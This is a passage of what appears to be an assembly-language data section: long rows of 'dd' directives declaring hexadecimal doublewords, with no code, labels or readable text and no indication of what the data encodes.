7FC480EDh, 8EDB4017h dd 0E84F740Bh, 0B774E4F2h, 0A558FED4h, 206FF7CAh, 2B87B3DBh dd 0E694D300h, 0DCA17C5Dh, 8ABA2C20h, 380D9068h, 3B84DA5Bh dd 1D86EEFh, 0FBEEFFAEh, 486AFC79h, 0F5931B57h, 4B7635E3h dd 5FDCF7F9h, 1180CEDAh, 0A21E157Ch, 0CA0BFEE2h, 26050C2h dd 0E67620E7h, 924E0071h, 0D4AF0DB8h, 0BFEA4845h, 7D5A5F27h dd 0F37C8889h, 9D6204DCh, 0F8BD2778h, 85090C11h, 968E1B1h dd 0A86939BFh, 81DFC183h, 0CA406804h, 31AD57B5h, 0DA0048B8h dd 0E6126DF6h, 485ADC73h, 0FB4FF760h, 0EAB87D43h, 85D60B67h dd 265133D5h, 2D6856Ah, 78039F7Ch, 0DF762E5Dh, 24A73316h dd 0E9DA277Ch, 73DD0E62h, 0C948701Ah, 4DDFB701h, 9CEFB695h dd 69F37ECAh, 844DE8F5h, 8E8C0496h, 0F8510867h, 1F7680FFh dd 63E4Ch, 43E54B0Eh, 0A180CC57h, 5F32B80Eh, 0F5F5535Bh dd 0F8B00D27h, 0D40BA839h, 1852C29Ch, 5326617h, 0E1C7CA25h dd 0AC01A95Fh, 12048C17h, 9902B56h, 28BFF6C4h, 9D270123h dd 977ADA55h, 9CE0474Dh, 0FE665384h, 322B24DFh, 0F4BFC0D3h dd 6AF78C7Ah, 0BCEC0B11h, 7ADE0066h, 46529541h, 1D12BCB1h dd 85B8FE8Bh, 0E2C3C534h, 844500AAh, 8795A41Ah, 9140002Dh dd 0B2A3D782h, 0BF059661h, 1935DFD1h, 0F24ECAFCh, 27ED000Dh dd 4972E558h, 0F840FFA8h, 0ECBF310Fh, 4DC6004Ch, 8196585Ah dd 0C4166BEBh, 5BA21DE4h, 246EEE4Fh, 38F88600h, 0B70F29E1h dd 2C85CDEDh, 38ECE52h, 0FA823A68h, 2D475E6Ch, 0D0A83A57h dd 2DC5743Ah, 8BED6CA8h, 436231C0h, 890F276Ah, 0CD8BA179h dd 0BE345309h, 1C201C4Ch, 40F78100h, 50613F3Eh, 202C17BFh dd 15AD1287h, 43BD2B5Ah, 6613E902h, 44282FC9h, 0F96159F8h dd 0FB0402BCh, 1064F0DDh, 3F003BA2h, 46FABCD8h, 0F6B7C1A9h dd 0D4A30014h, 8A58629h, 519DF227h, 0E3B5EB5Bh, 4B11BD00h dd 13895466h, 0E32FDD95h, 5D378BEBh, 8A40096Fh, 2D12264h dd 45531115h, 6EC0EADDh, 0ECA262A0h, 0E9FFA355h, 0C4394F1Eh dd 0EEF9F883h, 0AD8FFF93h, 0AFAB53DFh, 5CCB40DAh, 42F0665Dh dd 0B5890483h, 2CFA17C1h, 425E85DBh, 0A00A01D5h, 2F79F526h dd 53B727ADh, 56A9AB09h, 35290955h, 46D6B97Eh, 9471011Dh dd 1BB4829Ch, 5A5B32C8h, 8B228C63h, 0B51FB04h, 51B199BDh dd 98B633Eh, 6A1529B1h, 84A92677h, 0BF00041Bh, 6297C341h dd 0C0C59648h, 0AEE13742h, 4546006Eh, 323AD652h, 95007C91h dd 42E87F2Fh, 1DBB5021h, 0D6F855A5h, 1C36F96h, 0FCF3F857h dd 0C82F23AEh, 5D006AFCh, 4E5B298h, 1E4A88h, 15483DC9h dd 43FD1972h, 0D9674A98h, 0A96F0BDDh, 50217C12h, 0F30581D9h dd 0FFE7216h, 40D922A8h, 0C0D4F6F5h, 9245BD50h, 99A9FC9h dd 3241D1C1h, 5CDF02B5h, 7E42B109h, 127E69EBh, 0B0EB0055h dd 11CCF69Bh, 9A49C409h, 9CEAF8A6h, 12654A77h, 0EA4F007Fh dd 385A2BF0h, 0B6225301h, 6E99D39Eh, 4FD1B3FCh, 0FE9C15Bh dd 320A6980h, 0C9E5E051h, 343F5F25h, 33A2D1h, 91805CCBh dd 9B017042h, 33600360h, 0FEDCC9B5h, 5E005FA3h, 97CFCB09h dd 0A913A5A1h, 0A5F831A6h, 0AAD8854Fh, 0FDF0A2E6h, 611DECD2h dd 0F9C9290Bh, 4B4DF56Ah, 49B763C0h, 0DBC40A3Bh, 9855EF2h dd 1B1434B1h, 0C17820B3h, 7E2502EEh, 8D0F6015h, 0B58427FCh dd 74EA611Eh, 36A3FF28h, 0B6DE4AF0h, 0F7B2202h, 408EECF1h dd 822C3549h, 62EF185Dh, 88CE00DFh, 97041AE4h, 51010BBCh dd 5DE50DBBh, 0CCAC5F13h, 0FBF63454h, 5402237Eh, 6F5CC845h dd 0C52094F8h, 31989F1Fh, 0C2168ABBh, 30A27828h, 50984488h dd 802FED3Eh, 6005965Bh, 6842BA66h, 7BD5A2ABh, 505F6171h dd 7D964BC2h, 39045737h, 52AC64F2h, 4C43C2D6h, 14C49ED4h dd 5B9AFC40h, 1C3A6B0Bh, 0BFB18298h, 771D6213h, 3A4ADE19h dd 6A3E539Dh, 0AD780089h, 98A0E8EDh, 8FE32C80h, 5AA30227h dd 38754A63h, 850CDD59h, 95782F2Bh, 85D4006Fh, 2109C451h dd 8D162915h, 4CA317DDh, 737D669Ah, 6BED79B4h, 993CCECh dd 9750D547h, 106F9B9Fh, 500A7DE2h, 6D051760h, 0C65F7C21h dd 0F8E9A2B9h, 72323574h, 7FE9E279h, 1EE42E7Ah, 0A385479Dh dd 455878E7h, 0E565340Ch, 4091CEFDh, 0D35AE913h, 349B9C85h dd 605CB9C0h, 212C9531h, 0EA804919h, 33AFA820h, 0C18B2F61h dd 0FD0B0937h, 0B906873Ah, 16BD3864h, 6BADB7D1h, 60EE4D45h dd 4F01F40Dh, 2A5BC88h, 0F290610Bh, 88604A52h, 58EC8424h dd 4276870Bh, 3DD2782Fh, 0B04B5A61h, 4E9F169Dh, 47A10040h dd 369AF910h, 0F100ABF7h, 2E96C670h, 5F5F5666h, 0C4799B5Bh dd 0B1CC5359h, 1DE100E4h, 47D2C6A4h, 0EFB8DDCBh, 0E985893Dh dd 2E7654D5h, 8627DE24h, 1D127F91h, 11E5F1C0h, 18816680h dd 5CBA15CFh, 2570B589h, 69870C9Ch, 296718D4h, 7519F5C2h dd 97DC2BB2h, 0FCB900D4h, 0A34180ACh, 0E2A3DDF4h, 50050DB2h dd 9F00CCh, 0A3636582h, 1309F69Eh, 49AE044Fh, 20790117h dd 57AFF424h, 0DDFEA309h dd 6F3F00DEh, 0E8AF35Eh, 64952E07h, 1457841h, 2ACE512Fh dd 0D0BA40B0h, 931FC264h, 3DC973A5h, 0A46A79ECh, 0F28E12B3h dd 0E8A1492Ah, 33020BE3h, 0B3020543h, 4DF7C79h, 0FF050460h dd 0B83FFDD1h, 1A3E4AAh, 29F3133Eh, 6CF5643Bh, 708A4B46h dd 0AB3BA234h, 2F275E6Eh, 9DBB18FFh, 6ABFC5E1h, 5A6EAA02h dd 0D6E5740Ah, 201D1CFAh, 79BBF6A0h, 4034E31Dh, 7239F3E5h dd 0FC657FDEh, 0BF4FAFCAh, 0CA4BBC3Fh, 0D0E912FFh, 7389D5F3h dd 0D98DB210h, 0AD3F1141h, 0A26900C9h, 2967B1B3h, 9707FEBDh dd 7935B0BAh, 0F43CD380h, 0BD276B84h, 0BF60D5D4h, 5C503256h dd 0A1C05951h, 406B4F8Dh, 7446EF00h, 4A0A407h, 4BB50165h dd 0EBFBF09Ah, 30A86A72h, 53BCFF59h, 0D8D3EF04h, 0C9C4A9F0h dd 0CB491F1Dh, 0ADE779B0h, 367B7D5h, 853519BAh, 182CC7F8h dd 4A5EFE27h, 0DBD37D0Ah, 3E4843D0h, 5292122Bh, 22ABBCBFh dd 0F9B51310h, 0D284AD22h, 0E501ECC0h, 0F84CF96Ah, 24EE0B5Eh dd 0CF82842Eh, 0C3EF2389h, 852F3B60h, 6CBB131Ah, 9A921BCEh dd 94F51D8Ah, 0B0404484h, 61BDF8E0h, 21EA8F76h, 6B71E4F9h dd 3181C6ACh, 7A30F1B5h, 4E1E75CCh, 6688D801h, 27777900h dd 5B589D82h, 0DFD62771h, 0DB810E40h, 9BF7D0Bh, 9B44D52Fh dd 12719D16h, 0D36B8CBBh, 17AC4101h, 6F08B8E7h, 0A6A75030h dd 0D531029Bh, 5B17492Bh, 0E75857E2h, 907A0241h, 10F2BF9Fh dd 182F099Dh, 4B516F0h, 8D7E4D3Eh, 7D5BC0D6h, 0AD1DCB77h dd 0D389B32Eh, 503AD066h, 7BC3DAD8h, 0B9D1EEEDh, 7C098014h dd 454A89ADh, 2CDB2E00h, 444D5C06h, 0D735A8CBh, 9F410F24h dd 4760BDFEh, 0E402BAE8h, 29F71401h, 5B83EE37h, 31A57BF5h dd 4900F744h, 865CD10Bh, 23E0532h, 0FB617C9Dh, 0D190858Bh dd 2509D381h, 0D06453A6h, 70049F58h, 8158E81Fh, 9456BB66h dd 0B50483Ah, 73D2AB1h, 12FDE903h, 7631F20Bh, 2388F84Eh dd 8D09882Ah, 7C94F14Dh, 8422874Dh, 2CE95921h, 4C0DF892h dd 645A4163h, 6D4E8D3Eh, 41F22D98h, 98DFFC46h, 6AF00379h dd 804BB797h, 8C6D2025h, 94E780Fh, 19C8189Ah, 70FCBDC0h dd 0ABA50B7Bh, 1866880Fh, 3F2FB120h, 0A354F0B9h, 0E48B97FEh dd 9300FAB7h, 0C46D289Ah, 858908A5h, 163B1815h, 0D749C18Dh dd 701D5BFCh, 0A002C859h, 6E32F938h, 8ED1F722h, 0D585018Bh dd 0B55F57E2h, 80191141h, 203DB149h, 0A3034F55h, 4070FEAh dd 0C7C0C022h, 67B9DB7h, 9BD8961h, 2B2F782Eh, 35B7D2h dd 296236DFh, 1E412195h, 202E3D2Fh, 152DFD16h, 782AF314h dd 8E002FBEh, 113DE840h, 9D819D03h, 4CBB3D16h, 5BFB7D52h dd 5F092B2Dh, 2DE1B0EDh, 0B3341237h, 2CEBD03h, 0C080601Dh dd 80C3F9E5h, 35CEA2D2h, 1509F094h, 0D15BFC2Ah, 4157595Dh dd 22975ADh, 70AE7B5Bh, 0EAE4DB5Bh, 26BE11Ch, 72A2B593h dd 6E30A18Dh, 98B87BFDh, 24EABB3Bh, 557365h, 13D61DCBh dd 359D3F2Bh, 811C91A7h, 686D84C6h, 0B2AD1D8h, 8E0FC1C9h dd 0DC8A5D48h, 0FBE1FF2Dh, 3CB170ABh, 4B475200h, 0DFBF2D8Ch dd 673B276Bh, 6113D845h, 0AF9BEB57h, 8B8E4989h, 0F4D11049h dd 5534DC4h, 0EB1CCD0Bh, 0E3049138h, 9CE80F69h, 7D146ADAh dd 7887CE30h, 3173D101h, 0C5D38AF6h, 3A779BF4h, 0B8E5C0A9h dd 6088A06Dh, 713797h, 0F685232Eh, 0B11DA486h, 426744B2h dd 70DE53F9h, 0A4744896h, 0C921F504h, 12FB52CEh, 36CEF161h dd 0F883F502h, 891AB052h, 5F317FF9h, 0AE73C529h, 822F5EB4h dd 4091DD5Eh, 0DA6CE04Ah, 288ABA05h, 64EB5398h, 75EA0EF1h dd 0BCC6ADD7h, 0D4008C1Dh, 564D06CFh, 266058BCh, 3A301A01h dd 81002C20h, 0A0D6DEDBh, 18BB5056h, 0D6BC8759h, 0B7952404h dd 200139E8h, 50994F8Bh, 1A4B2023h, 50AE5F81h, 4E00DCCAh dd 0CF239854h, 4EE9D5DFh, 925FA26Fh, 5F3DAF1Ah, 5260D218h dd 0C3B25851h, 70BA185Bh, 0E4047108h, 7006A639h, 27E0A858h dd 84C0F0C6h, 1CE850AFh, 0B33300F2h, 9E15FC50h, 28008D70h dd 0FF0D0896h, 2D3F2AF7h, 0A010EFC4h, 260023E1h, 0E3508015h dd 1229585Fh, 0E70F0985h, 976028E4h, 4E1D1920h, 4E2DE761h dd 0AB8099DAh, 65E951EAh, 8B273E92h, 0AA0266FAh, 60E25E84h dd 83F3DDBBh, 0B98D454Eh, 0F385122Bh, 0E06E4F97h, 89EE220Ch dd 810B66EAh, 0DE5E29E2h, 357D5270h, 0B9C83811h, 4B2B9510h dd 6EEEAFC5h, 0CA411695h, 17899E28h, 0D208058Dh, 2A2011F1h dd 0C816B6h, 51EDAC77h, 0D60104FCh, 2F0544BFh, 0F3AADA8Ah dd 0D895DEE0h, 0BF801D7Fh, 0F9084FE8h, 0BB600133h, 3A5B7644h dd 80D3B911h, 9697CC68h, 6288F01Fh, 0DDB34F02h, 33068B74h dd 251E8994h, 36C4DFB7h, 0C7306901h, 38F183A7h, 0A7CD8h dd 0C61DFB42h, 0AC6D40F9h, 0F5B6035Eh, 95FBB04h, 1F79F290h dd 8740B9FFh, 0E52AC544h, 8375010Ch, 0E19DB5BFh, 477AE094h dd 1E81E34Ah, 217B90FAh, 6B323D41h, 27641A05h, 62A5D6A8h dd 0ED566196h, 0A9633FDCh, 0D375DC00h, 0B526433Eh, 47D88B27h dd 0D6DEA667h, 220AA4Ah, 0DA614Dh, 53D8FCE5h, 719D3142h dd 4BED205Dh, 2B277C8Ah, 92B00510h, 0F5B062BDh, 0C6000C3Dh dd 0B9040A6h, 3B3AFF8Eh, 1A9AA565h, 4D7A52C0h, 66056D02h dd 33D1B816h, 1E6CA304h, 97A243E8h, 0AE64FF29h, 579A81F8h dd 0CDF398BDh, 21D80E8Ah, 4D60D116h, 0F76C3237h, 0DEDD110Ah dd 6959E2A7h, 60625DA7h, 46D63F5Eh, 30017716h, 0A311BF6Ah dd 0D689649Fh, 41D11256h, 0C0716DA7h, 7A183783h, 7E830299h dd 0E889B488h, 9C19F3h, 70BDCFD1h, 0A4E71352h, 2F2921E1h dd 16C8F9DAh, 0FD0733C1h, 2FDADD7Ah, 0A98078DAh, 708B33CAh dd 0FFB35012h, 0B5824FFDh, 5F0B1839h, 0E7904F64h, 19156D31h dd 1C70FAB7h, 0EAD39AD9h, 19A92DBDh, 456283F9h, 10811002h dd 0DED5F4B5h, 25907A00h, 971527E0h, 0A6BB6E7h, 0CBAE849Bh dd 0A6675708h, 0C9892592h, 46D691D4h, 643F1F16h, 0B85B9B67h dd 2FF37AD3h, 0B8584058h, 0E0B7345Eh, 5E8D8E40h, 0D6C4B207h dd 0AC81F6DAh, 0C807FC1Ah, 0DB046FE2h, 218D29FFh, 2F81EEE8h dd 3A18C95Ch, 0F7B6BD17h, 0E03A0CE0h, 0F2ABE209h, 96C5D08Eh dd 2B00DCA9h, 786E8808h, 5E49BD9Eh, 9CCB641h, 0D24C0ABBh dd 26F69FB5h, 71B100DEh, 0F9DBF60h, 75B001B8h, 0BDAE37B5h dd 0B4DCD09h, 0A3D47389h, 21846D6h, 0C55B7CEFh, 0A6315547h dd 6B278105h, 0FCDCBD43h, 9272C720h, 0A41EEAA9h, 0F88A273Eh dd 0F09E4C46h, 662200DCh, 16CCCDDDh, 52F9D29h, 0C4B75920h dd 23DEAB6Ch, 0E22735C4h, 3B33007Eh, 0BFE2ACF6h, 0BA8D0F1Ah dd 67EFC175h, 9CF196A9h, 0E6EA600h, 1A4263h, 0B357FB2h dd 0F8C154BDh, 383B2D10h, 4E074D10h, 52C531B5h, 1080F268h dd 610F6BCCh, 4E54040Eh, 4231C940h, 4BDD4D9h, 0FC65E380h dd 727AA70h, 0EC9FC198h, 85093C16h, 6E5070EDh, 9D6A4E8Eh dd 0EDDA6FACh, 7580A389h, 1893CF3h, 979BD13h, 182703F2h dd 6AC02C5h, 0D06B00D6h, 3ACEE1D7h, 0AB27657Ah, 25CE460Fh dd 3642DD8Ah, 4679AC5Eh, 0F4BDDEC2h, 0A46E9Dh, 8DBBAF57h dd 606D797Fh, 0FBD98A39h, 58525B17h, 0E0D250B9h, 8EBCC6B1h dd 0D3050189h, 0BB56B88h, 86BBA400h, 583647D7h, 522339Ah dd 68021EF8h, 2B606E4Dh, 0A05ADD9Dh, 0E961C109h, 0F098D042h dd 0A314D0DFh, 0B91EA517h dd 0E3E2D633h, 0BE3DCF00h, 50BA8854h, 42272590h, 5D2F8B6Ah dd 5560074Dh, 4E311BDFh, 0C4B2200Eh, 0BC0B0F90h, 768ADC43h dd 871F4FAh, 0E4465F00h, 6396C5C8h, 0EB81000Ah, 23F1C060h dd 0D55F9D89h, 0BD6AFEE5h, 0AB8F8h, 530F785h, 50C780B4h dd 0E5279EA0h, 0E829185Dh, 6A970372h, 83C60736h, 54558993h dd 3D162F29h, 3380A79Bh, 85E6CCBDh, 0B8759B09h, 8BEF82A6h dd 5CE2ABD8h, 23D0B04h, 0DB8430DCh, 233EBECEh, 6C3F051Ah dd 12F0EA12h, 0A7894BB7h, 0B01A567Eh, 9C44A2Eh, 870F8A88h dd 3A604A91h, 0E3399D20h, 862D0045h, 0A978AFE1h, 7C926693h dd 4C8CF94Eh, 53D124FFh, 0F25B92D3h, 57618BFFh, 9E4006CFh dd 30DF0394h, 0FE643FF9h, 0BD3026Ah, 0BD12B8E5h, 4998E051h dd 0F5F800Dh, 6E178127h, 8E1E3EC6h, 83CD4A00h, 7C333597h dd 0C6E63F0Ch, 97DE4EBCh, 0E9A08D4Ch, 848223FDh, 0BEBC0DB0h dd 564A31B2h, 0E871915Bh, 9180BE68h, 9B7D2B59h, 0FFCACD07h dd 0E611BDEAh, 352F82D4h, 2E18BED7h, 2CF81A5h, 379F6925h dd 0CED15090h, 0FA6DAE00h, 6EE7ADh, 0E3A099BDh, 0DE7A4D62h dd 4068A601h, 905B0942h, 0BE99E44h, 0AE91844Bh, 16C83BCFh dd 60179FC1h, 0C18A642Fh, 7B2BA171h, 9AA514ACh, 0A56BC0BFh dd 170F671Bh, 855DADBBh, 1BB6AAB0h, 13734BE0h, 0E083D499h dd 4C80EC63h, 0B12AC12Eh, 8F0F118Eh, 2B572608h, 4885A25h dd 0B19D035Bh, 0A38BBC1Bh, 31331DF3h, 0EFC1ED8Dh, 17587CB0h dd 19B80BF9h, 2DE7EB80h, 0E4254317h, 0D389E971h, 79C041A5h dd 0D52DB529h, 12B0FD08h, 9D1233C1h, 58F30451h, 0AEE4BB09h dd 31F8279h, 0FC6F8D40h, 5C9C20Ah, 8A352129h, 0F656EBF9h dd 8780E6ECh, 354EC3A7h, 800026F2h, 1F83157Bh, 1E401CB3h dd 2824576h, 0A59D0B22h, 2B2EE47Ah, 8516F0C8h, 77D16AF4h dd 0F86D5489h, 616B60E9h, 492E16BBh, 27F93D58h, 11491004h dd 0DF64BD1Eh, 0E129C6C6h, 0BDEAC20Eh, 195D2C7Dh, 8081A92h dd 398C288h, 0C366151h, 30EB6B1Ch, 29561B04h, 6BE1ED95h dd 2E82D92Bh, 0A5F84F27h, 0B7203FCEh, 90442FBh, 7BDC7EBBh dd 56E20B3Eh, 0E02D4D57h, 0D50C45A0h, 9E881809h, 0D5A48B4Dh dd 6A1218E5h, 8D6FAFh, 55199A0Ah, 25DB60B2h, 69ED296Eh dd 0B0671564h, 89E38023h, 6ADE93A1h, 0CE261DA9h, 0A7EA0031h dd 67C8264Ch, 7AFED212h, 7D80AEA8h, 0FCC3DD34h, 0D54B1E00h dd 0EB2234Dh, 32710F7Fh, 2132BD89h, 0D1B95FB4h, 0B79E6A10h dd 0E6B32980h, 6D16FBF2h, 0B4B139C5h, 462ED6Eh, 0F8BF0FFCh dd 0EB653582h, 8B6FD51Bh, 0C0D5E319h, 33E12A8Dh, 0C0C3DF6Fh dd 0C689315Ch, 0A8BF02ADh, 0BA50EA84h, 525C2A8Bh, 0BF52C725h dd 4F25BFBFh, 0B028E4h, 0D1E91B4Bh, 436903C0h, 0CA00E63Bh dd 0DF06C15Ah, 0DA2582h, 2FEC8021h, 3BB77A2Ch, 0B0B65B5Eh dd 302894Bh, 0BAD44D9Eh, 0C64B512Fh, 0C5FAA2ECh, 5ECF1497h dd 3B49E76Ah, 0B05B0099h, 6CD09A2Bh, 5BB8598Dh, 31278FFCh dd 4BD060DAh, 0BF3A978Bh, 0F64B44EDh, 5F0E4083h, 9D16014Ch dd 124B1A39h, 593AA9E1h, 526A4498h, 788876B2h, 3EFC608Ch dd 20615CD9h, 0DA817EC0h, 0B00D605h, 0C74B524h, 4BC6F35Ah dd 21898AE7h, 37DBA51Ch, 2648F658h, 6827F84h, 9260C913h dd 2DD354BFh, 0B170707Bh, 0CE6919C4h, 2EDA4CB2h, 736F4B12h dd 0A2916000h, 0F202F00Bh, 31799F02h, 10C41BDh, 221F800Fh dd 287E807Eh, 0B061BA91h, 24C8004Ch, 755FC10h, 7102E9BFh dd 89B6BBF4h, 924B5CB5h, 4C6AE45Bh, 0C504ED8Ah, 7AA404CDh dd 0D301ADB4h, 0F285D49Ah, 7D6AB8AAh, 0B59D1697h, 97434BEDh dd 3A35FB8Bh, 6EC1F9FAh, 0DF13911Fh, 3CBBC6C0h, 868AB738h dd 127406E5h, 95B8890h, 0DB0A57EEh, 3B2B80FDh, 0E73D4Eh dd 840C5EBEh, 48DD6843h, 60A29265h, 8E2937BFh, 0A85F6144h dd 4B2205F2h, 0CDB6468Dh, 0A5B69BE0h, 0B3F6B800h, 8A6F2FC5h dd 770BB7DEh, 46D6A6D4h, 0B687001Ah, 0E073CAE9h, 0BC604BA5h dd 27102089h, 46A0810Fh, 1E8F6AB9h, 7CBD61F6h, 9694AF4h dd 9A7434EDh, 6802C7E8h, 49BEE91Ah, 362EF84Bh, 39252C76h dd 0EB5AD60Fh, 0AFFD6E05h, 0E6B56345h, 27EC40FDh, 0F1A7E509h dd 0AB977334h, 0C6935841h, 9D60702h, 231A195h, 0F4D389F9h dd 69BC78h, 0AEAD4BB6h, 5D2B79E2h, 123FBB3Ah, 0C2294A60h dd 801EDA6Fh, 9D2B6505h, 891C4BE9h, 0F38DCDC4h, 0BB96BF1Ch dd 0A5FBA29Fh, 33C4450h, 5BC109A4h, 20884428h, 0C6F22352h dd 0D1492D00h, 4834CF2h, 0DC2F9496h, 4AF89800h, 39D258EEh dd 8074B5A2h, 178F5A81h, 4320F050h, 2B09416Dh, 1C04AB65h dd 68010529h, 30312757h, 0B525BFF9h, 945F0ABh, 5EDDCA8h dd 9000C744h, 18E28784h, 9791623Fh, 0C2749C2Bh, 0A57200F4h dd 823AC63Ch, 7890C932h, 90719312h, 503232FAh, 2EEBEB72h dd 0D380B002h, 24DC4541h, 0C600D60Bh, 0AE64D6F4h, 4E5939FBh dd 600E3003h, 9707E181h, 6176ABB9h, 0F2AF5315h, 0C55F2525h dd 25BBA0B1h, 37902E5h, 0AD2745C6h, 53F3E047h, 0E9250DB7h dd 0A5403D3Ch, 0EEA4055h, 0A11D97FCh, 9357DD2h, 2082C09h dd 511B0176h, 4A121068h, 2F2518A8h, 0B1C7EA79h, 50B59C48h dd 2F9EF30Ch, 0F11AFC27h, 6F67AFADh, 0E2DBCCD9h, 35B3142Fh dd 8D3B5179h, 3C6B2B08h, 0D0931523h, 8C2AA0A1h, 0C100BBF9h dd 1834D295h, 4C6C13D1h, 81141486h, 5E7CBF6Fh, 1E4C6E24h dd 17E61C6h, 0C25EDC97h, 0B22C7ED5h, 9ABA232Fh, 525623E2h dd 8273B362h, 9C1AEDCEh, 0D453B4A8h, 4814C71Dh, 0E2DEC18Ch dd 0F6E14ABBh, 0E9B513D3h, 0B8FDA756h, 8C1DACh, 1C1A4C3Bh dd 78534EF9h, 0D8A08D27h, 99EB80BDh, 493A972Bh, 0B8D88204h dd 3357091Ch, 11AB5FBDh, 0D469B07Eh, 0B439D452h, 0F218970h dd 355E83C7h, 0BF71091Bh, 971A3C1h, 0D2860F89h, 9109D23h dd 0AB008EA8h, 42E6437Eh, 4A6160BFh, 0D00EA85Bh, 231D109Eh dd 0ECB1B888h, 57020479h, 112DDA58h, 0DF11C286h, 0CEA54237h dd 12E14872h, 870DBD86h, 75AF10B6h, 0C985CCB7h, 0B4FA297Ah dd 69BC96DEh, 39D7BF47h, 701E739Bh, 0DF09B996h, 0FCBE4C9Fh dd 291612A4h, 21A90189h, 89DC2B03h, 97DF7080h, 1BB193Ch dd 13A8D950h, 43980F4h, 90CFD6Eh, 8B958850h, 20EA6044h dd 19EC2AB4h, 0B96D6705h, 78A35804h, 5FCEFC4Ah, 0DC00C9Bh dd 0C0BAB666h, 8529361Fh, 0B3E90CD2h, 0F68C1BBCh, 0B1480279h dd 88F2D5EEh, 94D2827Fh, 65125C8Fh, 2BFDC201h, 97C4770Bh dd 7445A825h, 0CA8B0563h, 95D67061h, 0EE950425h, 8C0F2FA8h dd 0C1249466h, 9512527Bh, 23113CEBh, 25B52988h, 6C7B04FDh dd 9D2B5182h, 258BDA0Dh, 5CFA8D89h, 81BF0095h, 23B1AED7h dd 16F15942h, 1F2D4118h, 0C10590A1h, 0AC7300B6h, 476763C9h dd 82FBB86h, 0F81F8B8h, 0FA66CF81h, 0E95F75C0h, 0FF71F403h dd 360B7B7h, 17F67467h, 0BBB431F8h, 0B687D104h, 35BB5112h dd 0CC6DF196h, 400ABFC1h, 0B65786DAh, 0D4254109h, 0F9F3C091h dd 4DBD62C1h, 403AC4EFh, 8D910C3Ch, 0BCF10012h, 0A9E4EF78h dd 0CC00FA65h, 0B3D24DD1h, 1FB13AFEh, 5618379Fh, 5FDF8A1h dd 0B8F31F88h, 335020BBh, 0DC486FC8h, 575503B1h, 173A413Ch dd 0A9998360h, 4A79005Eh, 0E8E09DACh, 0C448006Ch, 5A72295Bh dd 7A0F0305h, 0C0F46741h dd 7D8DB16Ah, 57E100E2h, 2A224635h, 45F25D6Eh, 0F087F600h dd 17090D53h, 5123C50h, 0A0520B2Fh, 0F3AADC05h, 0BB5C2Fh dd 2C69647Fh, 7A00B81Ch, 0DDEEA9A5h, 0D75887h, 66B0A77Dh dd 4F7BE4ACh, 5B02DA98h, 0C047772Eh, 761BF5CDh, 6B67A6B8h dd 0F439C217h, 0D102DB00h, 0E783556h, 0ADBBD054h, 0B881B609h dd 0CCCE4411h, 8C48BCEFh, 0B2E83090h, 22A412Eh, 95070228h dd 51FA9C85h, 8B1839h, 0E0415148h, 18569A8Dh, 38D32417h dd 592FDBBFh, 30235882h, 0B01983BCh, 0BA02B8DFh, 8594CD74h dd 8056FE02h, 8CFD8BAEh, 6E72ADD1h, 24FB3900h, 0D526A23h dd 898107FCh, 0E0DDD8F6h, 0C2FAB7D2h, 1792BD00h, 6B8231E7h dd 0C47718B0h, 0FB5F68E1h, 8473D700h, 702D5E6Dh, 4FE8185Bh dd 0B1DC21FCh, 0BC00BE98h, 2325C276h, 0BD6EA468h, 497A5A48h dd 45F2AEA0h, 0F01F2E16h, 0DCEEAA03h, 5B73C05Ah, 0A3DB30FFh dd 89B8C749h, 0AE1E1400h, 70BD2813h, 6A9261C1h, 85A99805h dd 52262A0Dh, 0E150E706h, 16624C15h, 0D2207702h, 8B828B1Ch dd 0AF205E9Ah, 1D4952D9h, 0A761A07h, 805241CBh, 0D115A04Fh dd 0A800D5BCh, 5EFA1236h, 879AF1h, 1F2ACCF8h, 0CAEE6A62h dd 74934807h, 5B80F539h, 3E491626h, 1263403Bh, 0AF2F703h dd 3FA5F282h, 36567325h, 0F3BA900h, 3E4D1Ch, 833D4B43h dd 95AE28FEh, 0C10E777Fh, 0E2B4D33Ah, 0F5DE1418h, 0A919515h dd 7263E03h, 1DE02E6Dh, 5D1EC74Dh, 0F9CC6C67h, 5BC93F4Ah dd 79E3F445h, 17C64113h, 0CB008B1Dh, 0C3D3A0B0h, 3AB8F6h dd 5030E032h, 7DC39B1h, 22F0F500h, 197487ABh, 0DFAD339Ch dd 0D0D82652h, 0EC0E64D7h, 0E0A4B715h, 8A0B09FBh, 0DCC2004Ch dd 0AAA1A549h, 0ECCFB5D3h, 205C6EF5h, 0A7070D63h, 0F7A600D8h dd 7DCC69C4h, 5503E418h, 8FD6BC54h, 4C00EFD1h, 8E4AC8h dd 215C6EFDh, 930A3CD3h, 0CEE87800h, 0E6B2E5C6h, 91C0097h dd 0CA1FD54Bh, 0C0048DEh, 1B172731h, 187844CEh, 60D00439h dd 0A928C00Fh, 0F104CD9Ah, 22595476h, 0DC534CD7h, 0E629056Dh dd 0EA149062h, 9C4ABE04h, 0F5B05880h, 0A64101C5h, 4724EEABh dd 629C9830h, 61B36Eh, 21E598AAh, 49F2136Ah, 0A7819202h dd 0F5EF9438h, 603D6A27h, 8F8BA987h, 25E224F1h, 5EB1E4B7h dd 38BCA0C7h, 0B70FA390h, 5868DB44h, 454098h, 0E0D43048h dd 0C7F9969Ch, 0D70F50ECh, 0F3B6C6B5h, 187CDA47h, 0C2AA8A52h dd 0A60780CDh, 0A4D7E9h, 0BED56294h, 0D3F57D8Fh, 24A0D81Ch dd 8A50FC03h, 14981C18h, 805E2069h, 5E43C0A4h, 0FCB9A190h dd 7F073A55h, 3949CB4Fh, 0B5842571h, 0FD621F81h, 0D0759096h dd 0F500BB44h, 3155AD82h, 183CAF1Ah, 2A1040F3h, 203E5D68h dd 0EAFE076Ch, 80E97DDDh, 0D88B0AB5h, 5E33900Bh, 558F01Bh dd 22145800h, 0F9B97BDBh, 0C9FB1E82h, 23E9CCC5h, 0E6076A2Ah dd 3D4ECAC2h, 0F2174186h, 0AAB4197Eh, 4CC0D1A3h, 6A4083B4h dd 0FB100074h, 1F2F6664h, 305E03ACh, 0BB3D8A0h, 5D69ABCFh dd 7E8DDB00h, 0AA00E1EFh, 0D3FA868h, 30CF6E9Eh, 7A2E9B71h dd 9309601h, 0D5B9113Ah, 59B0165Fh, 0E1A84E2Ah, 38477400h dd 7807900Dh, 895161Ch, 4FCD8970h, 0B85A4C21h, 0C246A200h dd 62D15EC9h, 5FDC6917h, 0D6066BCh, 8DF1C549h, 58278700h dd 8A548526h, 98990075h, 532C5C40h, 43307B32h, 7FE06B3Ch dd 0ED120018h, 3534E70Eh, 86039813h, 0FCA7770Ch, 55E800DEh dd 6ACBC0B4h, 0F52965EBh, 0D28D5645h, 0A20DFE6Eh, 68D9A802h dd 